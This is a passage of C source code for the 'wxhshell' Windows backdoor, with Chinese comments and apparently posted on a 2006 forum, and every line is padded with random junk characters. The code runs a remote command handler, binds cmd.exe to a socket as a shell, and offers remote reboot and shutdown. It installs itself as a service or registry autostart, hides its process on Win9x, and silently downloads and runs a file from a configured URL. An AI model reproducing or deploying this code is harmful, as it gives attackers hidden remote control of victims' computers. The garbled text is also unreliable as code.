  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0e9A+&r  
  } H5 q:z=A  
  else { $PfV<Yj'B  
>DmRP7v   
    switch(cmd[0]) { jg^^\n  
  mSj76' L#  
  // 帮助 pFH?/D/q  
  case '?': { L9'-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cd"wNH-  
    break; [xS5z1;  
  } JE%i-UVH+;  
  // 安装 s#Q _Gu  
  case 'i': { LsotgQ8   
    if(Install()) F0: &>'}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i0&) N,5_  
    else %~(~W>^A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }` @?X"r  
    break; ks^|>  
    } 0XQ-   
  // 卸载 .??rqaZ=  
  case 'r': { 'h:!m/1  
    if(Uninstall()) $U mE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |x[$3R1@  
    else `QAh5r"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oylp:_<aT  
    break; )ldUayJ  
    } r?XDvU  
  // 显示 wxhshell 所在路径 Q~CpP9%  
  case 'p': { 8ok7|DJ  
    char svExeFile[MAX_PATH]; ,9$>d}N  
    strcpy(svExeFile,"\n\r"); K \m4*dOv  
      strcat(svExeFile,ExeFile); :6sGX p  
        send(wsh,svExeFile,strlen(svExeFile),0); ;op'V6iG  
    break; _PdAN= C3  
    } K/A ? ]y  
  // 重启 (HaU,vP  
  case 'b': { v @_?iC"`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "$%{}{#W0  
    if(Boot(REBOOT)) YmA) @1@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXDd,ltm  
    else { oYGUjI  
    closesocket(wsh); )da:&F -  
    ExitThread(0); t)`+d=P   
    } t"#lnG!G  
    break; Fj48quW1\P  
    } |<7i|J  
  // 关机 >T$7{ ~  
  case 'd': { 3# :EK M~!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2tlO"c:_/  
    if(Boot(SHUTDOWN)) 'NRN_c9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm<M@M$aG  
    else { -<12~HKK::  
    closesocket(wsh); +;5Wp$ M\  
    ExitThread(0); 5D >BV *"  
    } 4jPwL|#  
    break; {K6Kx36  
    } 's/27=o  
  // 获取shell \Z8Y(]6*  
  case 's': { (O<abB(  
    CmdShell(wsh); 1pl2;!  
    closesocket(wsh); :0|Hcg  
    ExitThread(0); u<J2p?`\&`  
    break; QDl)92z  
  } ge@reGfsB1  
  // 退出 GZ}*r{  
  case 'x': { vJzxP y|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G-ZrM  
    CloseIt(wsh); V=Ww>  
    break; T\.7f~3  
    } " Tw0a!  
  // 离开 d"Ml^rAn  
  case 'q': { re2Fv:4{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |^\ Hv5  
    closesocket(wsh); ``/y=k/au  
    WSACleanup(); ?cA8P.?^A  
    exit(1); CD$u=E ]  
    break; 'XG:1Bpm  
        } h7)VJY  
  } ~&vA_/M  
  } ktdz@f  
/"g[Ay  
  // 提示信息 4/ 0/#G#j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jw2_!D  
} lsN /$ M|}  
  } S]Sp Z8  
{: Am9B  
  return; #xD&z^o  
} Jq=X!mT d.  
A;b=E[i v  
// shell模块句柄 h,Y{t?Of  
int CmdShell(SOCKET sock) k,yc>3P;U  
{ U`HXsq p}  
STARTUPINFO si; vEX|Q\b6'  
ZeroMemory(&si,sizeof(si)); wGZ>iLe:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m.;{ 8AM%f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -O>^eMWywo  
PROCESS_INFORMATION ProcessInfo; -%7Jj;yA  
char cmdline[]="cmd"; 7/[TE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -d\AiT  
  return 0; {yul.m  
} #3AYz82w  
w+URCj  
// 自身启动模式 )UxQf37  
int StartFromService(void) "Yc^Nc  
{ L5i#Kh_  
typedef struct !- Cs?  
{ g!~-^_F  
  DWORD ExitStatus; 5&G Q=m  
  DWORD PebBaseAddress; p3>Q<  
  DWORD AffinityMask; mdmZ1:PBM  
  DWORD BasePriority; 'Y~8_+J?  
  ULONG UniqueProcessId; JMl ,  N  
  ULONG InheritedFromUniqueProcessId; %5( EkP  
}   PROCESS_BASIC_INFORMATION; .rD#1)O  
|*/uN~[  
PROCNTQSIP NtQueryInformationProcess; w%%6[<3%  
QE`:jxyad  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `!5tH?bX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $cp16  
UeutFNp  
  HANDLE             hProcess; @1`W<WP  
  PROCESS_BASIC_INFORMATION pbi; *FI5z[8,  
/ynKKJx<Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >llwNT  
  if(NULL == hInst ) return 0; ,E n(gm  
ZQgxrZx3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tk] _QX %  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lqz}&A   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qcpG}o+&D  
}R?v"6aBS  
  if (!NtQueryInformationProcess) return 0; lN*1zM<6;  
J,(U<%n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P22y5z~  
  if(!hProcess) return 0; 0%q{UW2  
^=heen<S%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [<@A8Q5,y  
8\W3Fv Q  
  CloseHandle(hProcess); Lv`8jSt\  
71}L# nQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rTm>8et  
if(hProcess==NULL) return 0; 0k. #  
7>c 0V&  
HMODULE hMod; tq4"Q BIKh  
char procName[255]; |zRoXO`]-*  
unsigned long cbNeeded; h>mBkJ {  
7><* 9iOW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R?={{+O  
5KA FUR0  
  CloseHandle(hProcess); hr$VVbOho  
:"y7Weh  
if(strstr(procName,"services")) return 1; // 以服务启动  ?fqkM  
*1 J#Mdd  
  return 0; // 注册表启动 ->RF`SQu  
} nEa'e5 lg  
+0JH"L5!  
// 主模块 Pv/%s) &y&  
int StartWxhshell(LPSTR lpCmdLine) /4f 5s#hR  
{ pRDON)$  
  SOCKET wsl; leX7(Y;!a7  
BOOL val=TRUE; C4X{Ps \  
  int port=0; }. Na{]<gh  
  struct sockaddr_in door; C7c|\T  
o to wvm  
  if(wscfg.ws_autoins) Install(); z wniS6R1  
k8t Na@H  
port=atoi(lpCmdLine); jmZ|b6  
`*2*xDuP  
if(port<=0) port=wscfg.ws_port; sWpRX2{5,  
b|V4Fp  
  WSADATA data; D^T7pO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BSq;R G(  
`hQ!*f6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }GU6Q|s[u[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d q+7K  
  door.sin_family = AF_INET;  4.Jaw+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HnKF#<  
  door.sin_port = htons(port); >R'VY "\  
19YJ`(L`x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FclSuQWti  
closesocket(wsl); yg]nS<K~4  
return 1; [gg 7Z|Hu  
} 51FK~ 5  
?'8MI|*l%  
  if(listen(wsl,2) == INVALID_SOCKET) { aaa#/OWQZ  
closesocket(wsl); /9vMGef@  
return 1; 59%f|.Z)  
} VQW)qOR9  
  Wxhshell(wsl); \Kzt*C-ZH  
  WSACleanup(); 4d3]pvv  
si"mM>e  
return 0; 4'4s EjyA  
b6E8ase:F  
} w|UKMbRMU]  
Kt&$Si  
// 以NT服务方式启动 0Ts_"p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FO3eg"{N  
{ Wp~4[f`,  
DWORD   status = 0; #I{Yf(2Z  
  DWORD   specificError = 0xfffffff; tRrY)eElS  
w _6Y+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I5<#SW\a?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; piM11W}|/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p6k'Q  
  serviceStatus.dwWin32ExitCode     = 0; dxhjPS~^Q  
  serviceStatus.dwServiceSpecificExitCode = 0; 1wNY}3  
  serviceStatus.dwCheckPoint       = 0; !kk %;XSZ  
  serviceStatus.dwWaitHint       = 0; gm%bxr@X~  
3lrZ-k+S{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >|o9ggL`J5  
  if (hServiceStatusHandle==0) return; & b^*N5<Z  
B,na  
status = GetLastError(); PTc\I  
  if (status!=NO_ERROR) G<WDyoN=O  
{ @W5hrei  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a^)4q\E  
    serviceStatus.dwCheckPoint       = 0; :tS>D5dz(  
    serviceStatus.dwWaitHint       = 0; @xM!:  
    serviceStatus.dwWin32ExitCode     = status; d}B_ll#j-  
    serviceStatus.dwServiceSpecificExitCode = specificError; :$Di.|l@7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,I:m*.q  
    return; sZP3xh[B  
  } hZ /  
`F`'b)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tk|;5^#H  
  serviceStatus.dwCheckPoint       = 0; .)pRB7O3  
  serviceStatus.dwWaitHint       = 0; lIc9, |FL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Fm;LQa ]  
} ~b<4>"7y.  
X]^E:'E!  
// 处理NT服务事件,比如:启动、停止 >b"z`{tE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {O,M}0Eg  
{ VNEZBy"F  
switch(fdwControl) Ru\Lr=9  
{ JX,#W!d  
case SERVICE_CONTROL_STOP: nm|m1Z+U  
  serviceStatus.dwWin32ExitCode = 0; 3Os3=Ix  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O.8m%ZjD  
  serviceStatus.dwCheckPoint   = 0; )Ai%wCzw*  
  serviceStatus.dwWaitHint     = 0; YH+\rb_  
  { gm\o>YclS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X\)KVn`  
  } Y>!W&Gtu  
  return; R~c vml  
case SERVICE_CONTROL_PAUSE: o0+BQ&A)s*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z.OrHg1  
  break; .p*D[o2 9  
case SERVICE_CONTROL_CONTINUE: I)/7M}t`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $m0x8<7nu  
  break; =4\~M"[p  
case SERVICE_CONTROL_INTERROGATE: ,( kXF:  
  break; {-]HYk  
}; FveK|-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bFxJ|  
} ex!w Y  
8!`.%)- 4  
// 标准应用程序主函数 adPU)k_j:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lj* =*V  
{ cb&In<q  
teNQUIe-  
// 获取操作系统版本 I=Dk'M  
OsIsNt=GetOsVer(); ymVd94L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4bjp*1*]  
EKJ4_kkjM  
  // 从命令行安装 E/-Kd!|"  
  if(strpbrk(lpCmdLine,"iI")) Install(); W%ZU& YBc  
MxA'T(Ay  
  // 下载执行文件 W ]MJ!4  
if(wscfg.ws_downexe) { qvT+d l3#[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }Fe{s;  
  WinExec(wscfg.ws_filenam,SW_HIDE); _<}5[(qu  
} QN8Hz/}\  
5va&N<U  
if(!OsIsNt) { gJ~*rWBK:  
// 如果时win9x,隐藏进程并且设置为注册表启动 U$J_:~  
HideProc(); { RX|  
StartWxhshell(lpCmdLine); jY6=+9Jz5  
} ;m:GUp^[  
else 8VGXw;(Y,d  
  if(StartFromService()) (mr` ?LI}  
  // 以服务方式启动 &Zy=vk*  
  StartServiceCtrlDispatcher(DispatchTable); ;4#8#;  
else k3h53QTmC  
  // 普通方式启动 &{{f|o=u.  
  StartWxhshell(lpCmdLine); eZkz 1j~  
BQ)43Rr>  
return 0; [ +@<T)  
}
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只看该作者 1 发表于: 2006-10-10
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